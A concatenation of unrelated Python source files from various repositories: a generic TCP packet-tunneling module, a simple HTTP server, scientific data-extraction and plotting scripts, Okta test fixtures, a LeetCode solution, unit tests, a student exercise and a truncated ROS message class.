continue
else:
self.stop()
break
if self.authenticated:
try:
# write packet to the tunnel
self.packet_writer(message[len(common.CONTROL_CHANNEL_BYTE):])
except OSError as e:
print(e) # wut?
except Exception as e:
if e.args[0] == 995:
common.internal_print("Interface disappered, exiting thread: {0}".format(e), -1)
self.stop()
continue
if rc == 1:
# pipe/tunnel got signalled
not_reading_already = True
if (overlapped_pipe.InternalHigh < 4) or (message_readfile[0:1] != "\x45"): #Only care about IPv4
# too small which should not happen or not IPv4, so we just drop it.
continue
# reading out the packet from the buffer and discarding the rest
readytogo = message_readfile[0:overlapped_pipe.InternalHigh]
self.send(common.DATA_CHANNEL_BYTE, readytogo, None)
except win32api.error as e:
common.internal_print("TCP Exception: {0}".format(e), -1)
self.cleanup()
return True
def communication_unix(self, is_check):
rlist = [self.comms_socket]
wlist = []
xlist = []
while not self._stop:
if self.tunnel_r:
rlist = [self.tunnel_r, self.comms_socket]
try:
readable, writable, exceptional = select.select(rlist, wlist, xlist, self.timeout)
except select.error, e:
break
if self._stop:
self.comms_socket.close()
break
try:
for s in readable:
if (s is self.tunnel_r) and not self._stop:
message = self.packet_reader(self.tunnel_r, True, self.serverorclient)
while True:
if (len(message) < 4) or (message[0:1] != "\x45"): #Only care about IPv4
break
packetlen = struct.unpack(">H", message[2:4])[0] # IP Total length
if packetlen > len(message):
message += self.packet_reader(self.tunnel_r, False, self.serverorclient)
readytogo = message[0:packetlen]
message = message[packetlen:]
self.send(common.DATA_CHANNEL_BYTE, readytogo, None)
if (s is self.comms_socket) and not self._stop:
messages = self.recv()
for message in messages:
if len(message) == 0:
continue
if common.is_control_channel(message[0:1]):
if self.controlchannel.handle_control_messages(self, message[len(common.CONTROL_CHANNEL_BYTE):], None):
continue
else:
self.stop()
break
if self.authenticated:
try:
self.packet_writer(message[len(common.CONTROL_CHANNEL_BYTE):])
except OSError as e:
print(e) # wut?
except Exception as e:
print(e)
except (socket.error, OSError, IOError):
if self.serverorclient:
common.internal_print("Client lost. Closing down thread.", -1)
self.cleanup()
return
if not self.serverorclient:
common.internal_print("Server lost. Closing connection.", -1)
self.comms_socket.close()
break
except:
print("another error")
raise
self.cleanup()
return True
class TCP_generic(Stateful_module.Stateful_module):
module_name = "TCP generic"
module_configname = "TCP_generic"
module_description = """Generic TCP module that can listen on any port.
This module lacks of any encryption or encoding, which comes to the interface
goes to the socket back and forth. Nothing special.
"""
module_os_support = common.OS_LINUX | common.OS_MACOSX | common.OS_WINDOWS
def __init__(self):
super(TCP_generic, self).__init__()
self.server_socket = None
return
def stop(self):
self._stop = True
if self.threads:
for t in self.threads:
t.stop()
# not so nice solution to get rid of the block of listen()
# unfortunately close() does not help on the block
try:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serverbind = self.config.get("Global", "serverbind")
if serverbind == "0.0.0.0":
# windows does not like to connect to 0.0.0.0
serverbind = "127.0.0.1"
server_socket.connect((serverbind, int(self.config.get(self.get_module_configname(), "serverport"))))
except:
pass
return
def sanity_check(self):
if not self.config.has_option(self.get_module_configname(), "serverport"):
common.internal_print("'serverport' option is missing from '{0}' section".format(self.get_module_configname()), -1)
return False
try:
convert = int(self.config.get(self.get_module_configname(), "serverport"))
except:
common.internal_print("'serverport' is not an integer in '{0}' section".format(self.get_module_configname()), -1)
return False
return True
def serve(self):
client_socket = server_socket = None
self.threads = []
threadsnum = 0
common.internal_print("Starting module: {0} on {1}:{2}".format(self.get_module_name(), self.config.get("Global", "serverbind"), int(self.config.get(self.get_module_configname(), "serverport"))))
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server_socket.bind((self.config.get("Global", "serverbind"), int(self.config.get(self.get_module_configname(), "serverport"))))
while not self._stop:
server_socket.listen(1) #?? 1 ??
client_socket, client_addr = server_socket.accept()
common.internal_print(("Client connected: {0}".format(client_addr)), 0, self.verbosity, common.DEBUG)
threadsnum = threadsnum + 1
thread = TCP_generic_thread(threadsnum, 1, self.tunnel, self.packetselector, client_socket, client_addr, self.auth_module, self.verbosity, self.config, self.get_module_name())
thread.start()
self.threads.append(thread)
if self._stop:
self.stop()
except socket.error as exception:
# [Errno 98] Address already in use
if ((self.os_type == common.OS_LINUX) and (exception.args[0] == 98)) or ((self.os_type == common.OS_MACOSX) and (exception.args[0] == 48)):
common.internal_print("Starting failed, port is in use: {0} on {1}:{2}".format(self.get_module_name(), self.config.get("Global", "serverbind"), int(self.config.get(self.get_module_configname(), "serverport"))), -1)
else:
raise
self.cleanup(server_socket)
return
def connect(self):
try:
common.internal_print("Starting client: {0}".format(self.get_module_name()))
client_fake_thread = None
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.settimeout(3)
server_socket.connect((self.config.get("Global", "remoteserverip"), int(self.config.get(self.get_module_configname(), "serverport"))))
client_fake_thread = TCP_generic_thread(0, 0, self.tunnel, None, server_socket, None, self.auth_module, self.verbosity, self.config, self.get_module_name())
client_fake_thread.do_auth()
client_fake_thread.communication(False)
except KeyboardInterrupt:
if client_fake_thread:
client_fake_thread.do_logoff()
self.cleanup(server_socket)
raise
except socket.error as e:
common.internal_print("Connection error: {0}".format(self.get_module_name()), -1)
self.cleanup(server_socket)
raise
self.cleanup(server_socket)
return
def check(self):
try:
common.internal_print("Checking module on server: {0}".format(self.get_module_name()))
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.settimeout(3)
server_socket.connect((self.config.get("Global", "remoteserverip"), int(self.config.get(self.get_module_configname(), "serverport"))))
client_fake_thread = TCP_generic_thread(0, 0, None, None, server_socket, None, self.auth_module, self.verbosity, self.config, self.get_module_name())
client_fake_thread.do_check()
client_fake_thread.communication(True)
self.cleanup(server_socket)
except socket.timeout:
common.internal_print("Checking failed: {0}".format(self.get_module_name()), -1)
self.cleanup(server_socket)
except socket.error as exception:
if exception.args[0] == 111:
common.internal_print("Checking failed: {0}".format(self.get_module_name()), -1)
else:
common.internal_print("Connection error: {0}".format(self.get_module_name()), -1)
self.cleanup(server_socket)
return
def cleanup(self, socket):
common.internal_print("Shutting down module: {0}".format(self.get_module_name()))
socket.close()
return | [
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server.py | evaustin17/DeepAR | 0 | 124081 | import http.server
import socketserver
PORT = 8888
class Handler(http.server.SimpleHTTPRequestHandler):
pass
Handler.extensions_map['.wasm'] = 'application/wasm'
httpd = socketserver.TCPServer(("", PORT), Handler)
print(("serving at port"), PORT)
httpd.serve_forever()
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main.py | pierrePalud/MeudonPDR-stat-files-extraction | 0 | 44654 | <reponame>pierrePalud/MeudonPDR-stat-files-extraction
import sys
import glob
import os
import numpy as np
import pandas as pd
from tqdm.auto import tqdm
import argparse
def extract_input_parameters(path_file_in, df_input_params, dict_result={}):
"""extracts the data from the input file of the simulation
Parameters
----------
path_file_in : string
relative path to the file that contains the input of the simulation
df_input_params : pd.Series
names of the parameters to extract in the input files with the corresponding
names wanted in the final file
dict_result : dict, optional
previous state of the dict containing the extracted data, by default {}
Returns
-------
dict_result : dict
new state of the dict containing the extracted data
"""
with open(path_file_in) as f:
lines = f.readlines()
# for each parameter we want to extract, read the file line by line until we find
# the corresponding one
for param_key in df_input_params.index:
param_name = df_input_params.at[param_key]
for line in lines:
if param_key in line:
dict_result[param_name] = line.split()[0]
break
if param_name not in dict_result.keys():
raise NameError(f"parameter {param_key} not in file {path_file_in}")
return dict_result
def extract_result_data(path_file_result, df_lines_to_extract, dict_result={}):
"""extracts the data from the result file of the simulation
Parameters
----------
path_file_result : string
relative path to the file that contains the results of the simulation
df_lines_to_extract : pd.Series
names of the transitions to extract in the result files with the corresponding
names wanted in the final file
dict_result : dict, optional
previous state of the dict containing the extracted data, by default {}
Returns
-------
dict_result : dict
new state of the dict containing the extracted data
"""
# ListQuant_Flags = [0] * len(df_lines_to_extract)
# index = -1
with open(path_file_result) as f:
lines = f.readlines()
# for each transition intensity we want to extract, read the file line by line
# until we find the corresponding one
for quant_key in df_lines_to_extract.index:
quant_name = df_lines_to_extract.at[quant_key]
# index += 1
for line in lines:
if line.startswith(f"value {quant_key}"):
dict_result[quant_name] = line.split(" # ")[2]
# ListQuant_Flags[index] = 1
break
if quant_name not in dict_result.keys():
raise NameError(f"name {quant_key} is not in results file {path_file_result}")
return dict_result
def process_one_simulation(filename_result, path_pdr_in, path_results, df_input_params, df_lines_to_extract):
"""extracts the data corresponding to a simulation (this
simulation is identified with the name of the result file)
Parameters
----------
filename_result : string
name of the file containing the results of the simulation
(this name allows to retrieve the simulation input file)
path_pdr_in :str
path to the input files (.in) of the grid simulation
path_results : str
path to the results files (.stat) of the grid simulation
df_input_params : pd.Series
names of the parameters to extract in the input files with the corresponding
names wanted in the final file
df_lines_to_extract : pd.Series
names of the transitions to extract in the result files with the corresponding
names wanted in the final file
Returns
-------
dict
contains all the columns that we want to extract (that
are listed in the the ordered dict in utils.constants)
"""
dict_result = {}
# get input parameters
root_filename_in = filename_result.split("_s_20.stat")[0]
path_file_in = f"{path_pdr_in}/{root_filename_in}.in"
dict_result = extract_input_parameters(path_file_in, df_input_params, dict_result)
# get result data
path_file_result = f"{path_results}/{filename_result}"
dict_result = extract_result_data(path_file_result, df_lines_to_extract, dict_result)
return dict_result
def write_header(filename_out, df_input_params, df_lines_to_extract):
"""automatically writes the header of the output file using the names in
the csv files
Parameters
----------
filename_out : string
name of the output file in which the data should be written
df_input_params : pd.Series
names of the parameters to extract in the input files with the corresponding
names wanted in the final file
df_lines_to_extract : pd.Series
names of the transitions to extract in the result files with the corresponding
names wanted in the final file
"""
col_names = list(df_input_params.values) + list(df_lines_to_extract.values)
col_names = [f"[{('00' + str(i+1))[-3:]}]{col}" for i, col in enumerate(col_names)]
# longest name string
max_len = max([len(col) for col in col_names])
# list of cols
header = "#"
for i, col_name in enumerate(col_names):
header += col_name + " " * (max_len + 1 - len(col_name))
if (i+1) % 5 == 0:
header += "\n#"
# [001] [002] etc. row
header += "\n#" + 4*" "
header += (" " * 8).join([
f"[{('00' + str(i+1))[-3:]}]" for i in range(len(col_names))
])
header += "\n"
# write header to file
with open(filename_out, "w") as f:
f.write(header)
def write_data(filename_out, list_results):
"""writes the data extracted from input and result files to
filename_out
Parameters
----------
filename_out : string
name of the output file in which the data should be written
list_results : list of dict
data to be written
"""
# convert the list of dicts to a dataframe
df = pd.DataFrame(list_results)
for col in df.columns:
df[col] = df[col].apply(lambda x: f"{float(x):.4E}")
# fuse the columns of the dataframe
df_1col = df.apply(lambda row: " ".join(list(row)), 1)
# save to output file
df_1col.to_csv(filename_out, index=False, header=False, mode="a")
def check_arguments(path_pdr_in, path_results, filename_out, filename_input_params, filename_lines_to_extract):
"""checks the validity of the arguments passed through CLI
"""
print("Starting extraction for :")
print(f"--path_pdr_in : \t\t{path_pdr_in}")
assert os.path.isdir(path_pdr_in), f"the indicated path ({path_pdr_in}) does not seem to exist."
list_filenames_pdr_in = sorted(glob.glob(f"{path_pdr_in}/*.in"))
assert len(list_filenames_pdr_in) > 0, f"There seem to be no .in files in the {path_pdr_in} directory."
print(f"--path_results : \t\t{path_results}")
assert os.path.isdir(path_results), f"the indicated path ({path_results}) does not seem to exist."
list_filenames_results = sorted(glob.glob(f"{path_results}/*_s_20.stat"))
assert len(list_filenames_results) > 0, f"There seem to be no .stat files in the {path_results} directory."
print(f"--filename_out : \t\t{filename_out}")
assert ".dat" in filename_out, f"The output file needs to be a .dat file. You indicated {filename_out}"
print(f"--filename_input_params : \t{filename_input_params}")
assert os.path.isfile(filename_input_params), f"the file {filename_input_params} does not seem to exist. Please check the path."
print(f"--filename_lines_to_extract : \t{filename_lines_to_extract}")
assert os.path.isfile(filename_lines_to_extract), f"the file {filename_lines_to_extract} does not seem to exist. Please check the path."
def main(path_pdr_in, path_results, filename_out, filename_input_params, filename_lines_to_extract):
"""Extraction of integrated intensities of a set of lines for a grid of simulations of Meudon PDR code
Parameters
----------
path_pdr_in : str
path to the input files (.in) of the grid simulation
path_results : str
path to the results files (.stat) of the grid simulation
filename_out : str
name of the file (.dat) in which the result of the extraction is to be saved
filename_input_params : str
name of the file (.csv) that contains the list of params to extract from .in files
filename_lines_to_extract : str
name of the file (.csv) that contains the list of lines to extract from .stat files
"""
# import input data into dataframe and convert to pd.Series
df_input_params = pd.read_csv(filename_input_params)
df_input_params = df_input_params.set_index("name_in_file")['param_name']
# import result data into dataframe and convert to pd.Series
df_lines_to_extract = pd.read_csv(filename_lines_to_extract)
df_lines_to_extract = df_lines_to_extract.set_index("name_in_file")['transition_name']
# list of names of results files
list_filenames_results = sorted(glob.glob(f"{path_results}/*_s_20.stat"))
list_filenames_results = [filename.split("/")[-1] for filename in list_filenames_results]
# extract data from files
list_results = []
for filename_result in tqdm(list_filenames_results):
dict_result = process_one_simulation(
filename_result, path_pdr_in, path_results,
df_input_params, df_lines_to_extract
)
list_results.append(dict_result)
# save results
write_header(filename_out, df_input_params, df_lines_to_extract)
write_data(filename_out, list_results)
print("Extraction successfull.")
if __name__ == "__main__":
msg = "Extraction of integrated intensities of a set of lines for a grid of simulations of Meudon PDR code"
parser = argparse.ArgumentParser(msg)
parser.add_argument(
"-pi", "--path_pdr_in", default="./data/PDR17G1E20_n_PDRIN",
help="path to the input files (.in) of the grid simulation")
parser.add_argument(
"-pr", "--path_results", default="./data/PDR17G1E20_n_Results",
help="path to the results files (.stat) of the grid simulation")
parser.add_argument(
"-fo", "--filename_out", default="grid.dat",
help="name of the file (.dat) in which the result of the extraction is to be saved")
parser.add_argument(
"-fip", "--filename_input_params", default='./utils/input_params.csv',
help="name of the file (.csv) that contains the list of params to extract from .in files")
parser.add_argument(
"-flte", "--filename_lines_to_extract", default='./utils/lines_to_extract.csv',
help="name of the file (.csv) that contains the list of lines to extract from .stat files")
args = parser.parse_args()
check_arguments(
args.path_pdr_in,
args.path_results,
args.filename_out,
args.filename_input_params,
args.filename_lines_to_extract
)
main(
args.path_pdr_in,
args.path_results,
args.filename_out,
args.filename_input_params,
args.filename_lines_to_extract
) | [
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] |
tests/data/okta/groups.py | sckevmit/cartography | 1 | 1610670 | <gh_stars>1-10
from okta.models.usergroup.UserGroup import UserGroup
from okta.models.usergroup.UserGroupProfile import UserGroupProfile
LIST_GROUP_MEMBER_RESPONSE = """
[
{
"id": "00u1f96ECLNVOKVMUSEA",
"status": "ACTIVE",
"created": "2013-12-12T16:14:22.000Z",
"activated": "2013-12-12T16:14:22.000Z",
"statusChanged": "2013-12-12T22:14:22.000Z",
"lastLogin": "2013-12-12T22:14:22.000Z",
"lastUpdated": "2015-11-15T19:23:32.000Z",
"passwordChanged": "2013-12-12T22:14:22.000Z",
"profile": {
"firstName": "Easy",
"lastName": "E",
"email": "<EMAIL>",
"login": "<EMAIL>",
"mobilePhone": null
},
"credentials": {
"password": {},
"provider": {
"type": "OKTA",
"name": "OKTA"
}
},
"_links": {
"self": {
"href": "https://{yourOktaDomain}/api/v1/users/00u1f96ECLNVOKVMUSEA"
}
}
},
{
"id": "00u1f9cMYQZFMPVXIDIZ",
"status": "ACTIVE",
"created": "2013-12-12T16:14:42.000Z",
"activated": "2013-12-12T16:14:42.000Z",
"statusChanged": "2013-12-12T16:14:42.000Z",
"lastLogin": "2013-12-12T18:14:42.000Z",
"lastUpdated": "2013-12-12T16:14:42.000Z",
"passwordChanged": "<PASSWORD>",
"profile": {
"firstName": "Dr.",
"lastName": "Dre",
"email": "<EMAIL>",
"login": "<EMAIL>",
"mobilePhone": null
},
"credentials": {
"password": {},
"provider": {
"type": "OKTA",
"name": "OKTA"
}
},
"_links": {
"self": {
"href": "https://{yourOktaDomain}/api/v1/users/00u1f9cMYQZFMPVXIDIZ"
}
}
}
]
"""
def create_test_group():
group = UserGroup()
group.id = "group_id_value"
group.profile = UserGroupProfile()
group.profile.name = "group_profile_name_value"
group.profile.description = "group_profile_description_value"
group.profile.samAccountName = "group_profile_samAccountName_value"
group.profile.dn = "group_profile_dn_value"
group.profile.windowsDomainQualifiedName = "group_profile_windowsDomainQualifiedName_value"
group.profile.externalId = "group_profile_external_id_value"
return group
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docs/gallery/pca/plot_009_variable_contributions_bubble.py | andersle/psynlig | 1 | 97111 | <gh_stars>1-10
# Copyright (c) 2020, <NAME>.
# Distributed under the MIT License. See LICENSE for more info.
"""
PCA variable contributions (bubble version)
===========================================
This example will plot contributions to the principal
components from the original variables. Here, we show
the absolute values of the coefficients in a bubble heat map.
"""
from matplotlib import pyplot as plt
import pandas as pd
from sklearn.datasets import load_diabetes
from sklearn.preprocessing import scale
from sklearn.decomposition import PCA
from psynlig import pca_loadings_map
plt.style.use('seaborn-talk')
data_set = load_diabetes()
data = pd.DataFrame(data_set['data'], columns=data_set['feature_names'])
data = scale(data)
pca = PCA()
pca.fit_transform(data)
kwargs = {
'heatmap': {
'vmin': -1,
'vmax': 1,
},
}
# Plot the value of the coefficients:
pca_loadings_map(
pca,
data_set['feature_names'],
bubble=True,
annotate=False,
**kwargs
)
# Plot the absolute value of the coefficients:
kwargs['heatmap']['vmin'] = 0
pca_loadings_map(
pca,
data_set['feature_names'],
bubble=True,
annotate=False,
plot_style='absolute',
**kwargs
)
plt.show()
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PBO_ 18130/tugas_4.1.py | viraditty09/PBO | 0 | 50028 | <filename>PBO_ 18130/tugas_4.1.py
a = [1,2,3]
print(a)
a.append(5)
print(a)
list1=[1,2,3,4,5]
list2=['rambutan','langsa','salak','durian','apel']
list1.extend(list2)
c = [1,2,3]
print(c)
c.insert(0,12)
print(c)
### Perbedaan antara fungsi Append,extend,dan insert
# append berfungsi untuk menambahkan elemen ke daftar
# extend berfungsi untuk memperpanjang daftar dengan menambahkan elemen dari iterable
# insert berfungsi untuk menyisipkan data baru di tengah araay list
## fungsi reverse dan sort
# fungsi reversed() berfungsi untuk menghasilkan iterator yang berisi kembalikan dari suatu sequence sedangkan sort berfungsi untuk mengurutkan suatu iterabel baik secara naik maupun turun
### contoh kodenya dari reverse
def reverse(string):
reverse_string = ""
for i in string:
reverse_string = i+reversed_string
print("reversed string is:",reversed_string)
string = input("enter a string:")
print("enterd string",string)
reverse(string)
### contoh kode dari sort
pylist = ['e','a','u','i','o']
word = '<PASSWORD>'
print(sorted(pylist))
print(sorted(word))
print(sorted(pylist, reverse=True))
def takesecond(elem):
return elem[1]
random = [(2,2), (3,4), (4,1), (1,3)]
sortedlist = sorted(random, key
=takesecond)
print('sorted list:', sortedlist)
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] |
models/test.py | tuanpnUET/Federated-Learning-Demo | 1 | 194861 | <reponame>tuanpnUET/Federated-Learning-Demo
import torch
from torch import nn
import torch.nn.functional as F
from torch.utils.data import DataLoader
def test_img(net_g, datatest, args):
net_g.eval()
# testing
test_loss = 0
correct = 0
data_loader = DataLoader(datatest, batch_size=args.bs)
l = len(data_loader)
for idx, (data, target) in enumerate(data_loader):
if args.gpu != -1:
data, target = data.cuda(), target.cuda()
log_probs = net_g(data)
# sum up batch loss
test_loss += F.cross_entropy(log_probs, target, reduction='sum').item()
# get the index of the max log-probability
y_pred = log_probs.data.max(1, keepdim=True)[1]
correct += y_pred.eq(target.data.view_as(y_pred)).long().cpu().sum()
test_loss /= len(data_loader.dataset)
accuracy = 100.00 * correct / len(data_loader.dataset)
if args.verbose:
print('\nTest set: Average loss: {:.4f} \nAccuracy: {}/{} ({:.2f}%)\n'.format(
test_loss, correct, len(data_loader.dataset), accuracy))
return accuracy, test_loss
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90-subsets-ii.py | yuenliou/leetcode | 0 | 8627 | #!/usr/local/bin/python3.7
# -*- coding: utf-8 -*-
from typing import List
class Solution:
def subsetsWithDup(self, nums: List[int]) -> List[List[int]]:
"""
题解：https://leetcode-cn.com/problems/subsets/solution/c-zong-jie-liao-hui-su-wen-ti-lei-xing-dai-ni-gao-/
"""
def backtrack(start, path):
#结束条件:无
res.append(path[:])
for i in range(start, len(nums)):
#和上个数字相等就跳过
if i > start and nums[i] == nums[i - 1]: continue
# 做选择
path.append(nums[i])
# 进入下一行决策
backtrack(i + 1, path)
# 撤销选择
path.pop()
res = []
nums.sort()
backtrack( 0, [])
return res
def main():
param = [1,2,2]
solution = Solution()
ret = solution.subsetsWithDup(param)
print(ret)
'''90. 子集 II
给定一个可能包含重复元素的整数数组 nums，返回该数组所有可能的子集（幂集）。
说明：解集不能包含重复的子集。
示例:
输入: [1,2,2]
输出:
[
[2],
[1],
[1,2,2],
[2,2],
[1,2],
[]
]
来源：力扣（LeetCode）
链接：https://leetcode-cn.com/problems/subsets-ii
著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。
'''
if __name__ == '__main__':
main()
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backend/src/apiserver/visualization/test_exporter.py | cclauss/pipelines | 0 | 77860 | # Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import importlib
import unittest
from nbformat.v4 import new_code_cell
from nbformat.v4 import new_notebook
import snapshottest
exporter = importlib.import_module("exporter")
class TestExporterMethods(snapshottest.TestCase):
def setUp(self):
self.exporter = exporter.Exporter(100, exporter.TemplateType.BASIC)
def test_create_cell_from_args_with_no_args(self):
self.maxDiff = None
nb = new_notebook()
args = {}
nb.cells.append(self.exporter.create_cell_from_args(args))
nb.cells.append(new_code_cell("print(variables)"))
html = self.exporter.generate_html_from_notebook(nb)
self.assertMatchSnapshot(html)
def test_create_cell_from_args_with_one_arg(self):
self.maxDiff = None
nb = new_notebook()
args = {"source": "gs://ml-pipeline/data.csv"}
nb.cells.append(self.exporter.create_cell_from_args(args))
nb.cells.append(new_code_cell("print([variables[key] for key in sorted(variables.keys())])"))
html = self.exporter.generate_html_from_notebook(nb)
self.assertMatchSnapshot(html)
def test_create_cell_from_args_with_multiple_args(self):
self.maxDiff = None
nb = new_notebook()
args = {
"source": "gs://ml-pipeline/data.csv",
"target_lambda": "lambda x: (x['target'] > x['fare'] * 0.2)"
}
nb.cells.append(self.exporter.create_cell_from_args(args))
nb.cells.append(new_code_cell("print([variables[key] for key in sorted(variables.keys())])"))
html = self.exporter.generate_html_from_notebook(nb)
self.assertMatchSnapshot(html)
def test_create_cell_from_file(self):
self.maxDiff = None
cell = self.exporter.create_cell_from_file("tfdv.py")
self.assertMatchSnapshot(cell.source)
def test_generate_html_from_notebook(self):
self.maxDiff = None
nb = new_notebook()
args = {"x": 2}
nb.cells.append(self.exporter.create_cell_from_args(args))
nb.cells.append(new_code_cell("print(variables['x'])"))
html = self.exporter.generate_html_from_notebook(nb)
self.assertMatchSnapshot(html)
if __name__ == "__main__":
unittest.main()
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] |
scripts/cutflow_detail.py | umd-lhcb/lhcb-ntuples-gen | 0 | 130189 | #!/usr/bin/env python
#
# Author: <NAME>
# License: BSD 2-clause
# Last Change: Thu Jul 29, 2021 at 03:51 PM +0200
import uproot
import sys
import os
sys.path.insert(0, os.path.dirname(os.path.realpath(__file__)))
from argparse import ArgumentParser
from pyTuplingUtils.utils import extract_uid
from pyTuplingUtils.cutflow import CutflowGen, CutflowRule as Rule
from cutflow_gen import div_with_confint as DIV
from cutflow_output_yml_gen import yaml_gen
from tabgen import TAB
L0 = {
'run1': [
# 'L0DiMuonDecision', # FIXME: Missing in the ntuple due to a typo.
'L0ElectronDecision',
'L0ElectronHiDecision',
'L0HadronDecision',
'L0HighSumETJetDecision',
'L0MuonDecision',
'L0NoPVFlagDecision',
'L0PhotonDecision',
'L0PhotonHiDecision',
'L0Global', # This needs to be placed to the last
],
'run2': [
'L0DiMuonDecision',
'L0ElectronDecision',
'L0HadronDecision',
'L0JetElDecision',
'L0JetPhDecision',
'L0MuonDecision',
'L0MuonEWDecision',
'L0PhotonDecision',
'L0Global', # This needs to be placed to the last
]
}
HLT1 = {
'run1': [],
'run2': [
'Hlt1TwoTrackMVADecision',
'Hlt1TrackMVALooseDecision',
'Hlt1TwoTrackMVALooseDecision',
'Hlt1TrackMuonDecision',
'Hlt1TrackMuonMVADecision',
'Hlt1SingleMuonHighPTDecision',
'Hlt1Phys' # This needs to be placed to the last
]
}
###########
# Helpers #
###########
def simplify_line(line, remove='Decision'):
return line.replace(remove, '')
def remove_from(lst, remove=None):
return [i for i in lst if i != remove]
def to_table(cutflow, headers=['cut name', 'yield', 'efficiency']):
table = [headers]
for val in cutflow.values():
eff = DIV(val['output'], val['input'])
if len(table) == 1:
table.append([val['name'], val['output'], '-'])
else:
table.append([val['name'], val['output'], eff])
return table
def cut_gen(line, particle='Y', tistos='TIS', particle_name=r'$\Upsilon(4s)$'):
cut = '_'.join([particle, line, tistos])
name = '{} {} {}'.format(particle_name, simplify_line(line), tistos)
return cut, name
def cut_comb(prev_cut, prev_name, *args, op='|', set_symb=r'$\cup$', **kwargs):
cut, name = cut_gen(*args, **kwargs)
return prev_cut+' {} ({})'.format(op, cut), \
prev_name+'{}{}'.format(set_symb, name)
def cutflow_rule_gen(l0lines, hlt1lines, marginal=True):
basecut, basename = cut_gen(
'L0HadronDecision', 'Dst_2010_minus', 'TOS', r'$D^*$')
cutflows = [Rule(basecut, basename)]
if not marginal:
for l0 in l0lines:
cut, name = cut_gen(l0)
cutflows.append(Rule(cut, name, -1, True)) # -1 is a non-existent index, thus we always use the initial output
for l0 in l0lines:
l0cut, l0name = cut_comb(basecut, basename, l0)
cutflows.append(Rule(l0cut, l0name, -1, True))
ref_idx = len(cutflows) - 1
if marginal and l0 != 'L0Global':
for ll0 in remove_from(l0lines, l0):
ll0cut, ll0name = cut_comb(l0cut, l0name, ll0)
cutflows.append(Rule(ll0cut, ll0name, -1, True))
for hlt1 in hlt1lines:
hlt1cut, hlt1name = cut_comb(l0cut, l0name, hlt1, op='&',
set_symb=r'$\cap$')
cutflows.append(Rule(hlt1cut, hlt1name, ref_idx, True))
if marginal and hlt1 != 'Hlt1Phys':
for hhlt1 in remove_from(hlt1lines, hlt1):
hhlt1cut, hhlt1name = cut_comb(hlt1cut, hlt1name, hhlt1,
op='&', set_symb=r'$\cap$')
cutflows.append(Rule(hhlt1cut, hhlt1name, ref_idx, True))
return cutflows
################################
# Command line argument parser #
################################
def parse_input(descr='Generate cutflow (detail) output files based on input ntuple and YAML.'):
parser = ArgumentParser(description=descr)
parser.add_argument('ntp',
help='specify input ntuple path.')
parser.add_argument('output_yml',
help='specify output YAML path.')
parser.add_argument('mode',
help='specify mode.')
parser.add_argument('-t', '--tree',
default='TupleB0/DecayTree',
help='specify tree name in the ntuple.'
)
parser.add_argument('-f', '--format',
nargs='?',
choices=['latex',
'simple',
'github',
'latex_booktabs',
'latex_booktabs_raw',
'latex_raw'],
default='github',
help='specify the output table format.'
)
return parser.parse_args()
if __name__ == '__main__':
args = parse_input()
_, _, size, _, _, _ = extract_uid(uproot.open(args.ntp), args.tree)
result_marginal = {'DV': {'input': size, 'output': size, 'name': 'After DaVinci'}}
result_individual = {'DV': {'input': size, 'output': size, 'name': 'After DaVinci'}}
l0lines = L0[args.mode]
hlt1lines = HLT1[args.mode]
rules_marginal = cutflow_rule_gen(l0lines, hlt1lines)
result_marginal_addon = CutflowGen(
args.ntp, args.tree, rules_marginal, size).do()
result_marginal.update(result_marginal_addon)
rules_individual = cutflow_rule_gen(l0lines, hlt1lines, marginal=False)
result_individual_addon = CutflowGen(
args.ntp, args.tree, rules_individual, size).do()
result_individual.update(result_individual_addon)
print(TAB.tabulate(to_table(result_marginal), headers='firstrow',
tablefmt=args.format))
print()
print(TAB.tabulate(to_table(result_individual), headers='firstrow',
tablefmt=args.format))
with open(args.output_yml, 'w') as f:
f.write(yaml_gen(result_individual))
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doc/source/notebooks/tailor/mdn_plotting.py | elvijs/GPflow | 0 | 80448 | import numpy as np
from scipy.stats import norm
def make_grid(xx, yy):
"""
Returns two n-by-n matrices. The first one contains all the x values
and the second all the y values of a cartesian product between `xx` and `yy`.
"""
n = len(xx)
xx, yy = np.meshgrid(xx, yy)
grid = np.array([xx.ravel(), yy.ravel()]).T
x = grid[:, 0].reshape(n, n)
y = grid[:, 1].reshape(n, n)
return x, y
def plot(model, X, Y, axes, cmap, N_plot=100):
xx = np.linspace(X.min() - 1, X.max() + 1, N_plot)[:, None]
yy = np.linspace(Y.min() - 1, Y.max() + 1, N_plot)
pis, mus, sigmas = [v.numpy() for v in model.eval_network(xx)]
probs = norm.pdf(yy[:, None, None], loc=mus[None, :, :], scale=sigmas[None, :, :])
probs = np.sum(probs * pis[None, :, :], axis=-1)
plot_x, plot_y = make_grid(xx, yy)
axes[0].set_title("Posterior density and trainings data")
axes[0].contourf(plot_x, plot_y, np.log(probs), 500, cmap=cmap, vmin=-5, vmax=5)
axes[0].plot(X, Y, 'ro', alpha=0.2, ms=3, label="data")
axes[0].legend(loc=4)
axes[1].set_title(r"$\mu_m(x)$ and their relative contribution shown by size")
axes[1].scatter(np.repeat(xx.flatten(), repeats=mus.shape[1]),
mus.flatten(),
s=pis.flatten()*20)
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] |
devel/lib/python2.7/dist-packages/sensor/msg/_Led.py | frozaidi/RobotSystems | 0 | 85901 | # This Python file uses the following encoding: utf-8
"""autogenerated by genpy from sensor/Led.msg. Do not edit."""
import codecs
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
import sensor.msg
class Led(genpy.Message):
_md5sum = "30e1b14f90ea917fa794eb562e3a6723"
_type = "sensor/Led"
_has_header = False # flag to mark the presence of a Header object
_full_text = """uint8 index
sensor/RGB rgb
================================================================================
MSG: sensor/RGB
uint8 r
uint8 g
uint8 b
"""
__slots__ = ['index','rgb']
_slot_types = ['uint8','sensor/RGB']
